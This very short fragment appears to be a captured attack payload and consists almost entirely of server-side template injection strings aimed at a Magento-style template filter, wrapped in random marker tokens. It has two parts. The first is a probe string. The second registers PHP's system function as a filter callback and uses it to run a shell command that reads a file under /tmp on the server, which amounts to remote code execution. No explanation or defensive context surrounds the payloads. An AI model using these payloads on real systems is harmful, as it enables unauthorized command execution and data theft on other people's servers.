n1grzdld572RpEajyyWeYNun47jSF4h3{{var this.getTemplateFilter().filter(foobar)}}n1grzdld572RpEajyyWeYNun47jSF4h3n1grzdld572RpEajyyWeYNun47jSF4h3{{var this.getTemplateFilter().addAfterFilterCallback(system).filter('cat /tmp/result.txt | head -20')}}n1grzdld572RpEajyyWeYNun47jSF4h3